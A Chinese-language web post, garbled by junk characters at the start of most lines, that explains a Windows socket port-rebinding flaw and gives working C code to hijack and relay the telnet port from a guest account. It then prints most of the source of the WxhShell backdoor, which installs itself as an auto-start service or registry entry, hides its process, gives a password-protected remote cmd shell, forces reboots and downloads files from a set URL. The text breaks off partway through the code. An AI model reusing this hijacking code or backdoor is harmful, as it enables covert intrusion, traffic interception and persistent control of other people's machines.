在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
b}#ay2AR s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m2$Qp{C6H ;iEFG^'tG saddr.sin_family = AF_INET;
KUqD<Jj? ${%*O}$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~'l.g^p bv *b0f)y3RV bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
P*;zDQy Xz, sL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+b]+5! <+c6CM$#}V 这意味着什么?意味着可以进行如下的攻击:
7&z`N^dz{ "ewB4F[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q9&d24| ^g56:j~? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
77ID
82 4h[^!up.7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e: 4^O'K;$leD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
MzsDDP+h hVcV_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
u*$ 1e C}{$'#DV2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:2fz4n0{/ M(2c{TT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
3;J)&(j0 {~ngI< #include
A;A>Q`JJF #include
to #include
CL$mK5u #include
{6yiD DWORD WINAPI ClientThread(LPVOID lpParam);
b}[W[J}` int main()
85fBKpEe {
uA:|#mO WORD wVersionRequested;
kVQKP U DWORD ret;
y-{^L`%Mk WSADATA wsaData;
1A">tgA1 BOOL val;
waW2$9O SOCKADDR_IN saddr;
cgm]{[f SOCKADDR_IN scaddr;
) ]U-7 int err;
v?)JM+ SOCKET s;
'6fMF#X4F SOCKET sc;
s*:J=+D]G int caddsize;
Q! ] HANDLE mt;
t&wtw DWORD tid;
YrjF1hJ wVersionRequested = MAKEWORD( 2, 2 );
91r#lDR err = WSAStartup( wVersionRequested, &wsaData );
@P4fR7 if ( err != 0 ) {
.ev'd&l. printf("error!WSAStartup failed!\n");
b-@VR return -1;
fC2e}WR }
\QstcsEt saddr.sin_family = AF_INET;
qn6Y(@<[ NHUx-IqOX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[(5;jUmF@ WL7R.!P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
P8Fq %k saddr.sin_port = htons(23);
v1QE|@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oJUVW"X6 {
UBrYN'QRNt printf("error!socket failed!\n");
sYiegX`1c return -1;
L=Fm:O'#2 }
_LFZ 0 val = TRUE;
+T+f``RcK //SO_REUSEADDR选项就是可以实现端口重绑定的
Ti!j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
OnC|9 {
]YQlCx` printf("error!setsockopt failed!\n");
"Git@%80 return -1;
bPAp0}{Fu }
uR|Jn)/m( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q_euNoA0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
jmmm0,#D //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4T`u?T] gXZ.je)NM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|rka/_ {
h-=3b ret=GetLastError();
h )"PPI printf("error!bind failed!\n");
+#}I^N return -1;
a=&a)FR }
KtU I(*$` listen(s,2);
Pk7Yq:avL while(1)
Aj#CB.y {
EkgS*q_ caddsize = sizeof(scaddr);
6n]fr9f //接受连接请求
+ O=wKsGD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
SG2s!Ht if(sc!=INVALID_SOCKET)
(GJ)FWen0" {
M2(+}gv;7p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
t>. mB@se| if(mt==NULL)
\C5 YVl# {
k]!Fh^O~, printf("Thread Creat Failed!\n");
yjaX\Wb[z[ break;
//nR=Dy{ }
QM=M<~<Voh }
_(&^M[O CloseHandle(mt);
X(U
CN0# }
Mf
Dna>,Y closesocket(s);
Mp^%.m WSACleanup();
Q"n*`#Yt' return 0;
_nOJ.G }
t8DySFT DWORD WINAPI ClientThread(LPVOID lpParam)
7"Sw))H| {
4d#w} SOCKET ss = (SOCKET)lpParam;
+!6aB|- SOCKET sc;
AC@WhL unsigned char buf[4096];
97lM*7h; SOCKADDR_IN saddr;
^E*W
B~ long num;
0f}zm8p7. DWORD val;
@,F8gv* DWORD ret;
I&?(=i)N //如果是隐藏端口应用的话,可以在此处加一些判断
,f8<s-y4Sg //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
hqIYo
.< saddr.sin_family = AF_INET;
^AkVmsv;; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'^)Ve:K-. saddr.sin_port = htons(23);
G=W!$(: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
REUWK#> {
4nQk*:p(X printf("error!socket failed!\n");
e>vV8a\ return -1;
Q?-HU,RBO }
23 j{bK val = 100;
U]tbV<m% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
eL3HX _2( {
}'mVD^<+ ret = GetLastError();
7\m.xWX e return -1;
20750G }
KKP}fN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V9[-# Ti {
JRt^YX ret = GetLastError();
):OGhWq return -1;
[,[;'::=o4 }
6REv( E] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?tS=rqc8oW {
g"v g
{Q printf("error!socket connect failed!\n");
2g5Ft closesocket(sc);
T&Z%=L_Q closesocket(ss);
g
/D@/AU1u return -1;
],CJSA!5F }
l^aG"")TH. while(1)
Z0*Lm+d9z {
qOy3D~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'{=dEEi //如果是嗅探内容的话,可以再此处进行内容分析和记录
y+xw`gR: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~wG.'d] num = recv(ss,buf,4096,0);
kx,9n) if(num>0)
"^E/N},%u5 send(sc,buf,num,0);
vJ5` :4n" else if(num==0)
3]xe7F'` break;
.2?txOKh num = recv(sc,buf,4096,0);
\l!^6G|c if(num>0)
G{$(t\>8 send(ss,buf,num,0);
%zj;~W;qPH else if(num==0)
N2:};a[ui5 break;
Q79& Q04XN }
"#bL/b'{ closesocket(ss);
rmpx8CY" closesocket(sc);
lrSdFJ% return 0 ;
*>Sb4: }
8tq6.%\ lF-;h{
`H+~LVH ==========================================================
:M" NB+T 7^$PauAv 下边附上一个代码,,WXhSHELL
]~S,K}T R^zTgyr ==========================================================
J qWMO!1 tI50z khaB #include "stdafx.h"
2 mM0\ja P(?i>F7s #include <stdio.h>
b;$ -s
\% #include <string.h>
s+Qm/ h2 #include <windows.h>
_nw=^zS #include <winsock2.h>
gQy{OU #include <winsvc.h>
Dw}8ci' #include <urlmon.h>
(ov=D7>t0 >XzCHtEP #pragma comment (lib, "Ws2_32.lib")
0{|ib ! #pragma comment (lib, "urlmon.lib")
s8w7/*<d ca>6r` #define MAX_USER 100 // 最大客户端连接数
RFF&-M] #define BUF_SOCK 200 // sock buffer
#fg RF #define KEY_BUFF 255 // 输入 buffer
cJ9:XWW (WT0j #define REBOOT 0 // 重启
9( ;lcOz #define SHUTDOWN 1 // 关机
(QQ /I; v5"5UPi- #define DEF_PORT 5000 // 监听端口
I}oxwc E<]l]? #define REG_LEN 16 // 注册表键长度
KobNi#O+ #define SVC_LEN 80 // NT服务名长度
gE8=#%1< `5}XmSJ?5 // 从dll定义API
=\s(v-8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
x:8x GG9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?_9cFo59: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#5HJW[9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#W<D~C[I _ |6LC>' // wxhshell配置信息
k#k !AcC struct WSCFG {
i|u3 Qt5 int ws_port; // 监听端口
fd >t9. char ws_passstr[REG_LEN]; // 口令
U(5(0r int ws_autoins; // 安装标记, 1=yes 0=no
w91gM*A char ws_regname[REG_LEN]; // 注册表键名
,2u-<8 char ws_svcname[REG_LEN]; // 服务名
{UT>>
*C char ws_svcdisp[SVC_LEN]; // 服务显示名
eN]0]9JO char ws_svcdesc[SVC_LEN]; // 服务描述信息
nIVPh99 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rlu{C4l int ws_downexe; // 下载执行标记, 1=yes 0=no
yBO88rfh> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+s&+G![ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
b\~rL,7( $5nOi aQL };
YBQO]3f vW6Pf^yJ // default Wxhshell configuration
!!f)w!wW struct WSCFG wscfg={DEF_PORT,
%w7J0p "xuhuanlingzhe",
(PU0\bGA 1,
u{=(]n "Wxhshell",
A" `62 "Wxhshell",
j eMh "WxhShell Service",
M9*7r\hqYV "Wrsky Windows CmdShell Service",
1fwCQM "Please Input Your Password: ",
YhFB*D; 1,
g<oSTAw "
http://www.wrsky.com/wxhshell.exe",
&k(t_~m> "Wxhshell.exe"
J!%Yy\G };
,eD@)K_: ]qL#/ // 消息定义模块
Y~RPspHW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+#O?a`f char *msg_ws_prompt="\n\r? for help\n\r#>";
`Q6@,-(3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Zeyhr\T char *msg_ws_ext="\n\rExit.";
u$x HiD char *msg_ws_end="\n\rQuit.";
'#[U7(lIQ char *msg_ws_boot="\n\rReboot...";
@P+k7"f char *msg_ws_poff="\n\rShutdown...";
q5:-?|jXJ char *msg_ws_down="\n\rSave to ";
ON _uu]= YMLo~j4J char *msg_ws_err="\n\rErr!";
=UA-&x@ char *msg_ws_ok="\n\rOK!";
a9Lf_/w{ & NZYtA7 char ExeFile[MAX_PATH];
i>r4R z! int nUser = 0;
N5csq( HANDLE handles[MAX_USER];
fHYEK~!C04 int OsIsNt;
<=n$oMO j#y_# SERVICE_STATUS serviceStatus;
hJ#U;GL SERVICE_STATUS_HANDLE hServiceStatusHandle;
ov zIJbf wA)
NB // 函数声明
3Gf^IV-
int Install(void);
-vwkvNn8 int Uninstall(void);
ukv
_bw int DownloadFile(char *sURL, SOCKET wsh);
-\\}K\*MJ int Boot(int flag);
IPa08/ void HideProc(void);
|gx{un` int GetOsVer(void);
ui`xgR\6Rh int Wxhshell(SOCKET wsl);
rX%#Q\0h void TalkWithClient(void *cs);
:+ @-F>Q int CmdShell(SOCKET sock);
nCh9IF[BL/ int StartFromService(void);
*RUB`tEL int StartWxhshell(LPSTR lpCmdLine);
*_b4j.)ax, EonZvT-D= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
n'7 3DApW VOID WINAPI NTServiceHandler( DWORD fdwControl );
v<_}Br2I[ <|k!wfHL // 数据结构和表定义
2:MB u5** SERVICE_TABLE_ENTRY DispatchTable[] =
!V$nU8p| {
^i&/k {wscfg.ws_svcname, NTServiceMain},
>BMJA:j {NULL, NULL}
_s (0P* };
|OF<=GGO+ 2V/A% // 自我安装
*pw:oTO int Install(void)
}lML..((1 {
f'TjR#w char svExeFile[MAX_PATH];
q`E6hm HKEY key;
tz
j]c strcpy(svExeFile,ExeFile);
G%;XJsFGp o DPs xw // 如果是win9x系统,修改注册表设为自启动
~^$ONmI5 if(!OsIsNt) {
V%dMaX>^i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C"k8M\RW? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g10$pf+L RegCloseKey(key);
UB&ofO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
N~EM`d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`5< RegCloseKey(key);
35) ]R`f return 0;
Sq/M
%z5' }
%bZ3^ ub}t }
ruS/Yh }
g?A4C`l6iy else {
)J<Li!3 <d#9d.< // 如果是NT以上系统,安装为系统服务
k`Ab*M$@Xs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
50rCW)[# if (schSCManager!=0)
TGdD7n&Ehh {
Cq
!VMl>hP SC_HANDLE schService = CreateService
7n,nODbJ (
p+snBaAo} schSCManager,
8? W\kf$ wscfg.ws_svcname,
37?%xQ! wscfg.ws_svcdisp,
?Vbe SERVICE_ALL_ACCESS,
uKo)iB6D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
DC]FY|ff SERVICE_AUTO_START,
ppR~e*rv- SERVICE_ERROR_NORMAL,
#E5Sc\, svExeFile,
$V]D7kDph* NULL,
h#^IT NULL,
']u w,b NULL,
v#IW;Rj8 NULL,
Os*,@N3t NULL
zc'!a" );
4FQU$f if (schService!=0)
NAZxM9 {
_T6WA&;8 CloseServiceHandle(schService);
2fO ~%!.G CloseServiceHandle(schSCManager);
0
!E* > strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{ogGi/8 strcat(svExeFile,wscfg.ws_svcname);
X4BDl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z=z'j8z3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
B*zb0hdo: RegCloseKey(key);
702&E(rx, return 0;
UB|Nx(V s }
k^ B'W{ }
H_ .@{8I CloseServiceHandle(schSCManager);
U.crRrN }
J*.Nf)i }
NlU:e}zGR JZD27[b return 1;
5f=e
JDo=x }
j08G-_Gjn =NSLx 2:T // 自我卸载
Xleoh2&M int Uninstall(void)
M98dQ%4I {
U2ecvq[T HKEY key;
NjdAfgA KB&t31aq if(!OsIsNt) {
TqKL(Qw
E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H[*.Jd RegDeleteValue(key,wscfg.ws_regname);
'hVOK(o0 RegCloseKey(key);
Fng":28o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[bJ"*^M) RegDeleteValue(key,wscfg.ws_regname);
HMgZ&v RegCloseKey(key);
}dAb}0XK. return 0;
*VIM!/YW }
QP7EP aW }
H6/@loO!Xy }
(vz)GrH> else {
Vhz?9i6|g^ OB6I8n XW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[9z<*@$- if (schSCManager!=0)
?.v!RdM+ {
G+m|A*[> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
h[C!cX if (schService!=0)
+;Q& {
\&2GLBKpe
if(DeleteService(schService)!=0) {
q}ZZqYk CloseServiceHandle(schService);
3yr{B Xn CloseServiceHandle(schSCManager);
S?OK@UEJ return 0;
@D9c }
x\3 ` W CloseServiceHandle(schService);
+z>*m`}F }
}C2I9Cl CloseServiceHandle(schSCManager);
9 ?MOeOV8 }
H<}<f: }
.oaW#f}0P QMy;?, return 1;
"LaNXZ9 }
(66X Ea!}r|~]0 // 从指定url下载文件
xfkG&& int DownloadFile(char *sURL, SOCKET wsh)
: 60PO {
#mk#&i3"k HRESULT hr;
?F
AsV&y char seps[]= "/";
mRj-$:}L char *token;
fa\<![8LAU char *file;
F8_pwJUpf- char myURL[MAX_PATH];
w]tv<U={ char myFILE[MAX_PATH];
^=OjsN `q7I;w+g strcpy(myURL,sURL);
"}7K>|a token=strtok(myURL,seps);
0z#+^
while(token!=NULL)
-T4?5T_ {
v}xz`]MW<, file=token;
lk6mu token=strtok(NULL,seps);
4)JrOe&k }
Tud[VS?99 ~;UK/OZ GetCurrentDirectory(MAX_PATH,myFILE);
C~'}RM strcat(myFILE, "\\");
o6xl,T% strcat(myFILE, file);
q$:T<mFK$ send(wsh,myFILE,strlen(myFILE),0);
B*Hp send(wsh,"...",3,0);
cFGP3Q4{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ZS >}NN if(hr==S_OK)
2~R"3c+^ return 0;
4K0N$9pd: else
J^n(WnM*F return 1;
fcnbPO0M wbd>By(T1 }
-M%n<,XN0
G!XizhE // 系统电源模块
+s1+;VUs3 int Boot(int flag)
NZ7a^xT_) {
lG%oqxJ+ L HANDLE hToken;
+;:i,`Lmg TOKEN_PRIVILEGES tkp;
9p2"5x &IXr*I if(OsIsNt) {
p*#SSR9< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=]-! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
dfc-#I
p? tkp.PrivilegeCount = 1;
;oob
TW{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
RX?Nv4- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
y'2K7\>E if(flag==REBOOT) {
JS({au if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0/{-X[z return 0;
dE/Vl/ : }
KM< M^l_Q else {
=!{}:An1$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`j_R ?mY return 0;
L
G{N }
sGMC$%e} }
N7+K$)3 else {
fm&l0 if(flag==REBOOT) {
?o9l{4~g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
dL6sb;7R return 0;
U
NQup;#h }
ik7#Og~3 else {
P*I\FV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1PLKcU return 0;
={={W }
1hi^ }
F_YZV)q!W :T%,.sH return 1;
k?|VFh1 }
clG3t
eC rLh490@ // win9x进程隐藏模块
*Vv ;NA/ void HideProc(void)
)bPNL$O {
iO<O2A.F !l.Rv_o<O HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,1^)JshZ~ if ( hKernel != NULL )
RDzL@xCcn {
-lb}}z+/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
FCqs' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
z)QyQ FreeLibrary(hKernel);
.}Bb
:*@ }
ZPZ1
7- F^A1'J return;
b$rBxe\ }
6\~m{@ 6D0uLh // 获取操作系统版本
_@?]!J[ int GetOsVer(void)
r'xa'6& {
->8n.!F} OSVERSIONINFO winfo;
kIXLB!L2b^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@H7dQ,% GetVersionEx(&winfo);
tC|5;'m.2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
9&rn3hmP return 1;
:*}tkr4&eh else
wx<5*8zP return 0;
Ix1ec^?f }
<@;e N& W=F?+KgL // 客户端句柄模块
0Apvuf1 int Wxhshell(SOCKET wsl)
0FEb[+N {
Hej0l^ SOCKET wsh;
e^Jy-?E struct sockaddr_in client;
Dk]Y\: DWORD myID;
[gQ~B1O j
q1qj9KZ while(nUser<MAX_USER)
Yng9_w9Y {
x`C; int nSize=sizeof(client);
Q?[k>fu0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
f$(w>B7.. if(wsh==INVALID_SOCKET) return 1;
{wA@5+[ `33h4G handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3y 0`G8P'h if(handles[nUser]==0)
dzbzZ@y closesocket(wsh);
VZ_4B *D else
2"V?+Hhz nUser++;
9RR1$( f }
0 w@~ynW[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
AQ+w%>G6 W dIr3 return 0;
siyJjE)}w }
L$(W*
PG} <V>vDno\ // 关闭 socket
;=UrIA@y;= void CloseIt(SOCKET wsh)
z
KJ6j ]m {
%li'j| closesocket(wsh);
;O{AYF?,N nUser--;
ZH&%D*a& ExitThread(0);
7NJ1cQ-}t }
_Vp9Y:mX2 $:mCyP<y // 客户端请求句柄
. 1?AU6\ void TalkWithClient(void *cs)
K6|*-Wo. {
sfVtYIu -V4@BKI8 SOCKET wsh=(SOCKET)cs;
`n5|4yaG~ char pwd[SVC_LEN];
JrCm >0g char cmd[KEY_BUFF];
o?hya.;h4 char chr[1];
PlBT
H int i,j;
Z8nNZ<k :X2B+}6_& while (nUser < MAX_USER) {
u-j Gv| ,| VN`2bp>5I if(wscfg.ws_passstr) {
c9f~^}jNb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&?YQVwsN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vco:6Ab$ //ZeroMemory(pwd,KEY_BUFF);
YSv\T '3 i=0;
\Sg&Qv` while(i<SVC_LEN) {
}$iH3#E8
U Y)YhXW // 设置超时
qw"`NubX fd_set FdRead;
}bix+/] struct timeval TimeOut;
Pi)`[\{ FD_ZERO(&FdRead);
r=qb[4HiV FD_SET(wsh,&FdRead);
yfuvU2nVH TimeOut.tv_sec=8;
g-')|0py TimeOut.tv_usec=0;
3-LO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
h}+,]^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hDVD@b d [K56wbpx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!;fkc0&! pwd
=chr[0]; "L{;=-e
if(chr[0]==0xd || chr[0]==0xa) { @c7 On)sy
pwd=0; sV3/8W13
break; 1Pn!{ bU3@
} i,* DWD+
i++; V^?+|8_(
} G7zfyw}W
}$g5:k!
// 如果是非法用户,关闭 socket h2uO+qEsu
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "$
u"Py
} uOm fpg O
YZ/mTQn_D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C5;"mo-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |$6GpAq!
-FE5sW
while(1) { js k<N
qK(?\t$
ZeroMemory(cmd,KEY_BUFF); PksHq77
:vV?Yv%P)n
// 自动支持客户端 telnet标准 U
.e Urzu
j=0; )c+ZQq
while(j<KEY_BUFF) { |@V<}2zCZ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g($ y4~#
cmd[j]=chr[0]; ]9b*!n<z
if(chr[0]==0xa || chr[0]==0xd) { 5r`g6@
cmd[j]=0; C]eb=rw$
break; NV*t
} [&)9|EV
j++; u~a<Psp&|
} O%
9~1_
w[]7{D];
// 下载文件 YzEa?F*$
if(strstr(cmd,"http://")) { y{"8VT)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qRB&R$
if(DownloadFile(cmd,wsh)) /UM9g+Bb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "4Anh1,js
else `YIpZ
rB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u3ce\
} Rw Y)
O5
else { -u)06C*39
=C5[75z#+
switch(cmd[0]) { KHdj#3<AR
zBqr15
// 帮助 JWH}0+1*
case '?': { .KK"KO5k
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q_M2!qj
break; ?Yz.tg
} (Tc ~
// 安装 ,>"1'i&@
case 'i': { v)rN]b]
if(Install()) qlDLZ.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M!mTNIj8~
else NE3G!qxL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d p_J*8
break; ?Cmb3pX^\
} dk;Ed
// 卸载 e`8z1r
case 'r': { /`2VJw
if(Uninstall()) | ql!@M(p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `| R8WM
else RwT.B+Onuy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;2%3~L8?V
break; %3"3OOT7
} -hhE`Y
// 显示 wxhshell 所在路径 mQ' ]0D S
case 'p': { nef-xxXC^I
char svExeFile[MAX_PATH]; t1IC0'o-
strcpy(svExeFile,"\n\r"); +Y 3_)
strcat(svExeFile,ExeFile); ;#f_e;
send(wsh,svExeFile,strlen(svExeFile),0); WDgp(Av!
break; 69q8t*%O
} D {>,2hC
// 重启 5p"*nkF
case 'b': { KLAnW#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6^|bKoN/ f
if(Boot(REBOOT)) Rp. @
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PS \QbA
else { lywcT! <
closesocket(wsh); l\MiG Na
ExitThread(0); tk_y~-xz
} 5)&e2V',y
break; Oi
l>bv8
} 7_q"%xH
// 关机 ?Vt$
case 'd': { AS4m227
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); swlxV@NQ
if(Boot(SHUTDOWN)) G++kUo<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <&W3\/xx
else { /Tv<
l
closesocket(wsh); z[OW%(vrm
ExitThread(0); |a^ydwb
} \k;raQR4t*
break; r!Mr\
} /D)@y548~~
// 获取shell zU1rjhv+
case 's': { f_;3|i
CmdShell(wsh); nC>#@*+jK
closesocket(wsh); V @d:n
ExitThread(0); 5<d
Y,FvX
break; S :(1=@
} /0@}7+&
// 退出 -Ca.:zX
case 'x': { )xTp7YnZ;
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :Z1_;`>CT
CloseIt(wsh); FVF:1DT
break; X*FK6,Y|(
} }14.u&4
// 离开 K8e >sU.
case 'q': { n,xK7icYNQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); hA/FK
closesocket(wsh); ZO0_:T#Z
WSACleanup(); M~
*E!
exit(1); vz@QGgQ9~2
break;
QouTMS-b
} !pDS*{)E
} p8F|]6Z
} KZD&Ih(vC
>1joCG~
// 提示信息 YZ*Si3L
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N<:Ra~Ay
} M_*w)<
} " I _T
$dwv1@M2
return; ",~3&wx
} %e1<N8E4
^z)lEO
// shell模块句柄 @?e;Jp9
int CmdShell(SOCKET sock) hXMC!~Th
{ [3/P
EDkw
STARTUPINFO si; c~$ipX
ZeroMemory(&si,sizeof(si)); qTffh{q V
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6] <?+#uQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /~AwX8X
PROCESS_INFORMATION ProcessInfo; a"WnBdFZ
char cmdline[]="cmd"; 1noFXzeU3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B]]M?pS
return 0; d(]LRIn~1
} =U,;/f
-3w? y
// 自身启动模式 czHO)uQ?d`
int StartFromService(void) lgnF\)
{ 2etlR
typedef struct MN1|k
{ ]%mg(&p4
DWORD ExitStatus; y()#FRp7
DWORD PebBaseAddress; 3>S.wyMR4
DWORD AffinityMask; ,,{Uz)>'W6
DWORD BasePriority; XeZv%` ?
ULONG UniqueProcessId; Y-,#3%bT;;
